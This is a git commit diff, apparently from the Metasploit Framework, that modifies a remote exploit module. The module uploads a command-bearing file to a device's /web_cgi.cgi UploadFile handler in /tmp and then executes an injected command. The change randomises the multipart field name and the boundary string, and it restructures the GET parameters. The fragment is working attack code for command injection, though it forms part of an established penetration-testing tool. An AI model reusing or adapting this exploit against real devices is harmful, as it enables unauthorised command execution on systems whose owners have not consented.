feedback included

bug/bundler_fix
Michael Messner 2015-07-09 08:31:11 +02:00
parent 5b6ceff339
commit d7beb1a685
1 changed files with 9 additions and 3 deletions

View File

@ -112,8 +112,8 @@ class Metasploit3 < Msf::Exploit::Remote
file_upload << cmd << "\n"
post_data = Rex::MIME::Message.new
post_data.add_part(file_upload, nil, "binary", "form-data; name=\"xxx\"; filename=\"#{@counter}\"")
post_data.bound = "-9bcdb049f0d2--"
post_data.add_part(file_upload, nil, "binary", "form-data; name=\"#{rand_text_alpha(4)}\"; filename=\"#{@counter}\"")
post_data.bound = "-#{rand_text_alpha(12)}--"
file = post_data.to_s
@counter = @counter + 1
@ -121,7 +121,12 @@ class Metasploit3 < Msf::Exploit::Remote
begin
send_request_cgi({
'method' => 'POST',
'uri' => "/web_cgi.cgi?&request=UploadFile&path=/tmp/",
'uri' => "/web_cgi.cgi",
'vars_get' => {
'&request' =>'UploadFile',
'path' => '/tmp/',
},
'encode_params' => false,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'data' => file
})
@ -132,6 +137,7 @@ class Metasploit3 < Msf::Exploit::Remote
end
def execute_final_command(cmd)
#very limited space - larger commands crash the webserver
fail_with(Failure::Unknown, "#{peer} - Generated command for injection is too long") if cmd.length > 18
begin
send_request_cgi({